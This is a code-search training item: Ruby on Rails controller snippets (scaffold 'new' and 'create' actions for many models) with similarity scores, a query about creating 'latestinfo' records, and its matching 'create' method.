"def new\n @update_log = UpdateLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @update_log }\n end\n end",
"def get_all_new\n uri = [@@base_uri, 'all', 'getAllNew'].join('/')\n return get(uri)\n end",
"def new\n @tracker = Tracker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tracker }\n end\n end",
"def new\n @web_info = WebInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @web_info }\n end\n end",
"def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end",
"def new\n @creation = Creation.new\n @topics = Topic.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @creation }\n end\n end",
"def new\n @relatestagiario = Relatestagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end",
"def new\n @today_activity = TodayActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @today_activity }\n end\n end",
"def new\n @api = Api.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @api }\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @admin_information = Admin::Information.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @admin_information }\n end\n end",
"def new\n @service_version = ServiceVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_version }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end",
"def new\n @news_link = NewsLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_link }\n end\n end",
"def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end",
"def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end",
"def new\n @nossos_servico = NossosServico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nossos_servico }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chronopay_link }\n end\n end",
"def new\n @repository = Repository.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repository }\n end\n end",
"def new\n @repository = Repository.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repository }\n end\n end",
"def new\n @repo = Repo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repo }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @software }\n end\n end",
"def new\n @additionalinfo = Additionalinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @additionalinfo }\n end\n end",
"def new\n @visit_stat = VisitStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visit_stat }\n end\n end",
"def new\n @monkey = Monkey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @monkey }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @infraction_type }\n end\n end",
"def new\n @holder = Holder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @holder }\n end\n end",
"def new\n @resp = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resp }\n end\n end",
"def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end",
"def new\n @versioned_jnlp_url = MavenJnlp::VersionedJnlpUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @versioned_jnlp_url }\n end\n end",
"def new\n @old_twit = OldTwit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_twit }\n end\n end",
"def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end",
"def new\n @todos = Todos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @todos }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def new\n @userinfo = Userinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @userinfo }\n end\n end",
"def new\n @temp = Temp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @temp }\n end\n end",
"def new\n @documentation = Documentation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documentation }\n end\n end",
"def new\n @nostro = Nostro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nostro }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nomina }\n end\n end",
"def new\n @serie = Serie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @serie }\n end\n end",
"def new\n @news_item = NewsItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_item }\n end\n end",
"def new\n @news_item = NewsItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_item }\n end\n end",
"def new\n @twitterfeed = Twitterfeed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @twitterfeed }\n end\n end",
"def new\n @personal_info = PersonalInfo.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @personal_info }\n end\n end",
"def new\n @info_page = InfoPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @info_page }\n end\n end",
"def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @hack_tag_follow = HackTagFollow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hack_tag_follow }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n respond_to do |format|\n format.html\n format.xml\n end\n end",
"def new\n @historico = Historico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @historico }\n end\n end",
"def new\n @estatu = Estatu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estatu }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @notification = Notification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notification }\n end\n end",
"def new\n\t\t@clicker = Clicker.new\t\t\t\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @clicker }\n end\n end",
"def new\n @noami = Noami.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @noami }\n end\n end",
"def new\n @p_stat = PStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @p_stat }\n end\n end",
"def new\n @img_info = ImgInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @img_info }\n end\n end",
"def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end",
"def new\n @ref = Ref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ref }\n end\n end",
"def new\n @entry = @resource_finder.new\n initialize_new_resource\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end"
] |
[
"0.7275524",
"0.7275524",
"0.7175475",
"0.71342504",
"0.7016985",
"0.68744826",
"0.68568814",
"0.6805073",
"0.6784519",
"0.6765308",
"0.6765308",
"0.6730944",
"0.6730944",
"0.6730944",
"0.67272705",
"0.67253715",
"0.67230153",
"0.66530114",
"0.6647701",
"0.6642453",
"0.6628898",
"0.6619697",
"0.65958357",
"0.6563538",
"0.65614676",
"0.65456164",
"0.6543416",
"0.65275913",
"0.65250266",
"0.65173846",
"0.65073156",
"0.65060365",
"0.65049976",
"0.65005004",
"0.6486289",
"0.6471954",
"0.6454198",
"0.64449567",
"0.6442871",
"0.64316666",
"0.6425091",
"0.6424994",
"0.6423528",
"0.6422808",
"0.6418016",
"0.64160275",
"0.64087576",
"0.6406785",
"0.6406785",
"0.6399137",
"0.63934284",
"0.63926494",
"0.6386077",
"0.6382538",
"0.637817",
"0.63755554",
"0.63733816",
"0.63673663",
"0.63651705",
"0.6365099",
"0.6363616",
"0.6362063",
"0.63543284",
"0.6349944",
"0.63487214",
"0.634651",
"0.634408",
"0.6336431",
"0.6334355",
"0.63322747",
"0.63317037",
"0.63317037",
"0.6331053",
"0.6327503",
"0.6318771",
"0.6314637",
"0.631365",
"0.631277",
"0.631277",
"0.631277",
"0.6310393",
"0.63097584",
"0.63047165",
"0.63037467",
"0.63037467",
"0.63037014",
"0.6302569",
"0.630114",
"0.62983906",
"0.6293457",
"0.62931496",
"0.6289513",
"0.6287226",
"0.6285738",
"0.6285738",
"0.6285738",
"0.6285738",
"0.6285738",
"0.6285738",
"0.6285738"
] |
0.80938065
|
0
|
POST /latestinfos POST /latestinfos.xml
|
def create
@latestinfo = Latestinfo.new(params[:latestinfo])
respond_to do |format|
if @latestinfo.save
flash[:notice] = 'Latestinfo was successfully created.'
format.html { redirect_to(@latestinfo) }
format.xml { render :xml => @latestinfo, :status => :created, :location => @latestinfo }
else
format.html { render :action => "new" }
format.xml { render :xml => @latestinfo.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def index\n @latestinfos = Latestinfo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @latestinfos }\n end\n end",
"def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def show\n @latestinfo = Latestinfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def create\n @info = Info.new(params[:info])\n\n respond_to do |format|\n if @info.save\n flash[:notice] = 'News was successfully created.'\n format.html { redirect_to([:admin, @info]) }\n format.xml { render :xml => @info, :status => :created, :location => @info }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @news_update = NewsUpdate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_update }\n end\n end",
"def update\n @latestinfo = Latestinfo.find(params[:id])\n\n respond_to do |format|\n if @latestinfo.update_attributes(params[:latestinfo])\n flash[:notice] = 'Latestinfo was successfully updated.'\n format.html { redirect_to(@latestinfo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @latestinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end",
"def create\n @news_latest = NewsLatest.new(news_latest_params)\n\n respond_to do |format|\n if @news_latest.save\n format.html { redirect_to action: \"index\", notice: 'News latest was successfully created.' }\n format.json { render :show, status: :created, location: @news_latest }\n else\n format.html { render :new }\n format.json { render json: @news_latest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reqinfo = Reqinfo.new(params[:reqinfo])\n\n respond_to do |format|\n if @reqinfo.save\n flash[:notice] = 'Your request for more information has been successfully submitted.'\n\t\t# Tell the Emailer to send an Email after save\n\t\tEmailer.deliver_reqinfo_email(@reqinfo)\n format.html { redirect_to(@reqinfo) }\n format.xml { render :xml => @reqinfo, :status => :created, :location => @reqinfo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reqinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notifier }\n end\n end",
"def new\n @packageinfo = Packageinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @packageinfo }\n end\n end",
"def destroy\n @latestinfo = Latestinfo.find(params[:id])\n @latestinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to(latestinfos_url) }\n format.xml { head :ok }\n end\n end",
"def create\n @informations = Information.order('created_at desc')\n @information = Information.new(information_params)\n\n respond_to do |format|\n if @information.save\n format.html { redirect_to kegiatan_path, notice: 'Information was successfully created.' }\n format.json { render :show, status: :created, location: @information }\n else\n format.html { render :new }\n format.json { render json: @information.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_releases\n api_call(\"https://api.spotify.com/\",\"/v1/browse/new-releases\")\n end",
"def new\n @detour = Detour.new\n\n @detour.dispatcher = User.find_by_id(session[:userid]).full_name\n\n @locations = Location.find(:all)\n @nrs = Array.new\n @locations.each do |l|\n @nrs.push( NotificationRequest.new(l.id, l.short_name, l.long_name, l.notify_by_default))\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @detour }\n end\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def create\n @info = Info.new(info_params)\n\n respond_to do |format|\n if @info.save\n format.html { redirect_to @info, notice: 'Info was successfully created.' }\n format.json { render :show, status: :created, location: @info }\n else\n format.html { render :new }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @info = Info.new(info_params)\n\n respond_to do |format|\n if @info.save\n format.html { redirect_to @info, notice: 'Info was successfully created.' }\n format.json { render :show, status: :created, location: @info }\n else\n format.html { render :new }\n format.json { render json: @info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\r\n @info_class = InfoClass.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @info_class }\r\n end\r\n end",
"def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end",
"def create\n @info = Info.new(params[:info])\n if @info.save\n redirect_to infos_path, :notice => 'Info was successfully created.'\n else\n render :action => \"new\"\n end\n end",
"def new\n @tracker = Tracker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tracker }\n end\n end",
"def new\n @populate_feed_info = PopulateFeedInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @populate_feed_info }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def new\n @update_log = UpdateLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @update_log }\n end\n end",
"def create\n @info_request = InfoRequest.new(info_request_params)\n\n respond_to do |format|\n if @info_request.save\n format.html { redirect_to @info_request, notice: 'Solicitud de información enviada.' }\n format.json { render :show, status: :created, location: @info_request }\n else\n format.html { render :new }\n format.json { render json: @info_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @server_info = ServerInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @server_info }\n end\n end",
"def new\n @live_news = LiveNews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @live_news }\n end\n end",
"def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end",
"def new\n @installation = Installation.find(params[:installation_id]) \n @onpost = Onpost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @onpost }\n end\n end",
"def new_rest\n @page_usage_event = PageUsageEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_usage_event }\n end\n end",
"def infos_update\n device_uid = @device.uid\n device_info_post = params.except(:controller, :action, :uid, :tk)\n\n device_info_post.each do |key, value|\n device_info = DeviceInfo.where(device_uid: device_uid, stat_name: key).take\n if (!device_info.nil?)\n device_info.value = value\n device_info.last_update_at = Time.now.to_formatted_s(:db)\n device_info.save()\n else\n device_info = DeviceInfo.new\n device_info.device_uid = device_uid\n device_info.stat_name = key\n device_info.value = value\n device_info.last_update_at = Time.now.to_formatted_s(:db)\n device_info.save()\n end\n end\n\n render plain: ActiveSupport::JSON.encode({ res: :ok })\n end",
"def create\n @newsinfo = Newsinfo.new(newsinfo_params)\n\n respond_to do |format|\n if @newsinfo.save\n format.html { redirect_to @newsinfo, notice: 'Newsinfo was successfully created.' }\n format.json { render action: 'show', status: :created, location: @newsinfo }\n else\n format.html { render action: 'new' }\n format.json { render json: @newsinfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @news_update = NewsUpdate.new(params[:news_update])\n\n respond_to do |format|\n if @news_update.save\n format.html { redirect_to(@news_update, :notice => 'News update was successfully created.') }\n format.xml { render :xml => @news_update, :status => :created, :location => @news_update }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @news_update.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n # @updaterete = Updaterete.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @updaterete }\n end\n end",
"def create\n @populate_feed_info = PopulateFeedInfo.new(params[:populate_feed_info])\n\n respond_to do |format|\n if @populate_feed_info.save\n format.html { redirect_to(@populate_feed_info, :notice => 'PopulateFeedInfo was successfully created.') }\n format.xml { render :xml => @populate_feed_info, :status => :created, :location => @populate_feed_info }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @populate_feed_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def new\n @web_info = WebInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @web_info }\n end\n end",
"def new\n @nossos_servico = NossosServico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nossos_servico }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def create\n @feed_info = FeedInfo.new(feed_info_params)\n\n respond_to do |format|\n if @feed_info.save\n format.html { redirect_to @feed_info, notice: 'Feed info was successfully created.' }\n format.json { render :show, status: :created, location: @feed_info }\n else\n format.html { render :new }\n format.json { render json: @feed_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @news = News.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def new\n @creation = Creation.new\n @topics = Topic.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @creation }\n end\n end",
"def new\n @hack_tag_follow = HackTagFollow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hack_tag_follow }\n end\n end",
"def new\n @file_info = FileInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_info }\n end\n end",
"def new\n @installation = Installation.find(params[:installation_id]) \n @offpost = Offpost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @offpost }\n end\n end",
"def new\n @userinfo = Userinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @userinfo }\n end\n end",
"def new\n @tstat = Tstat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tstat }\n end\n end",
"def new\n @additionalinfo = Additionalinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @additionalinfo }\n end\n end",
"def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end",
"def create\n @server_info = ServerInfo.new(params[:server_info])\n\n respond_to do |format|\n if @server_info.save\n format.html { redirect_to @server_info, notice: 'Server info was successfully created.' }\n format.json { render json: @server_info, status: :created, location: @server_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @server_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @site_user_info = SiteUserInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site_user_info }\n end\n end",
"def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end",
"def new\n @machine_information = MachineInformation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @machine_information }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end",
"def new\n @serie = Serie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @serie }\n end\n end",
"def create\n @packageinfo = Packageinfo.new(params[:packageinfo])\n\n respond_to do |format|\n if @packageinfo.save\n format.html { redirect_to(@packageinfo, :notice => 'Packageinfo was successfully created.') }\n format.xml { render :xml => @packageinfo, :status => :created, :location => @packageinfo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @packageinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @visit_stat = VisitStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visit_stat }\n end\n end",
"def new\n @admin_information = Admin::Information.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @admin_information }\n end\n end",
"def new\n @information = Information.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @information }\n end\n end",
"def new\n @relatestagiario = Relatestagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end",
"def new\n puts \"HAHAHAHAHHA\"\n @information_request = InformationRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @information_request }\n end\n end",
"def new\n @changelog = Changelog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @changelog }\n end\n end",
"def new\n @information = Information.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @information }\n end\n end",
"def new\n @api = Api.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @api }\n end\n end",
"def recently_created_articles\n # 現在時刻から指定分前または1時間前までの間に登録された記事を取得する\n if params[:minutes]\n passed = params[:minutes].to_i\n else\n passed = 60\n end\n target_datetime = Time.current.ago passed.minutes\n @articles = Article.accessibles(current_user).recently_created(@user, target_datetime)\n logger.debug target_datetime\n respond_to do |format|\n format.text{ render text: @articles.to_xml(include: { user: { only: [:nickname] } }, only: [:id, :user_id, :title, :created_at]), layout: false }\n end\n #skip_types: true, dasherize: false,\n rescue\n respond_to do |format|\n format.text { render text: get_resource('error') } #\"getting articles failed.\"\n end\n end",
"def test_should_create_post_via_API_XML\r\n get \"/logout\"\r\n post \"/forum_posts.xml\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n end",
"def new\n @img_info = ImgInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @img_info }\n end\n end",
"def create\n @information = current_admin.informations.build(information_params)\n respond_to do |format|\n if @information.save\n format.html { redirect_to :admins_root, notice: '新着情報を登録しました。' }\n else\n format.html { render :new }\n end\n end\n end",
"def new\n @info_page = InfoPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @info_page }\n end\n end",
"def new\n @clicker = Clicker.new\n\n \n respond_to do |format|\n \n format.html # new.html.erb\n \nformat.xml { render :xml => @clicker }\n \n end\n \nend",
"def new\n @users_hacktag = UsersHacktag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @users_hacktag }\n end\n end",
"def new\n @today_activity = TodayActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @today_activity }\n end\n end",
"def new\n @service_version = ServiceVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_version }\n end\n end",
"def create\n @nano = Nano.new(params[:nano])\n\n respond_to do |format|\n if @nano.save\n flash[:notice] = 'Nano was successfully created.'\n format.html { redirect_to nano_url(@nano) }\n format.xml { head :created, :location => nano_url(@nano) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @nano.errors.to_xml }\n end\n end\n end",
"def new\n @last_id = LastId.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @last_id }\n end\n end",
"def latest\n @latest = apiQuery(\"items(first:1, order:UPDATED_DESC, include:[PUBLISHED,EMBARGOED]) { nodes { updated } }\").\n dig(\"items\", \"nodes\", 0, \"updated\")\n end",
"def new\n @documentation = Documentation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documentation }\n end\n end",
"def new\n @rest_service = RestService.new\n params[:annotations] = { }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rest_service }\n end\n end",
"def read_new_messages(last_id=nil)\n newer = \"\"\n newer = \"?newer_than=#{last_id.to_s}\" if last_id\n # Get latest 20 messages\n begin\n reply = @access_token.get(\"/api/v1/messages.xml\" + newer)\n \n# File.open(\"tmp/dump.xml\", \"w\") do |f|\n# f.write reply.body \n# end\n \n # Parse xml. doc has xml, updates has the messages\n doc, @updates = Hpricot::XML(reply.body), []\n \n # First get the names of users\n @names = {}\n (doc/:reference).each do |ref|\n next unless ref.at('type').innerHTML.include? 'user'\n id = ref.at('id').innerHTML\n @names[id] = ref.at('name').innerHTML\n end\n \n # Then the messages\n last_id = 0\n (doc/:message).each do |msg|\n id = msg.at('id').innerHTML\n last_id = id.to_i if last_id < id.to_i\n from = msg.at('sender-id').innerHTML # get the id\n from = @names[from] if @names[from] # get name from id\n time = msg.at('created-at').innerHTML\n content= msg.at('body').at('plain').innerHTML\n @updates << {:id => id, :from => from, :content => content, :time => time}\n end\n \n # Show\n# render :text => make_html(updates, names)\n rescue StandardError, Timeout::Error\n last_id = 0 # Timeouts are very common\n end\n last_id == 0 ? nil : last_id\n end",
"def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end",
"def newsfeed\n check_auth :newsfeed\n \n response = connection.post do |req|\n req.url '/user/newsfeed'\n req.body = { :format => @format }\n end\n response\n end",
"def new\n @notify = Notify.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notify }\n end\n end",
"def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end",
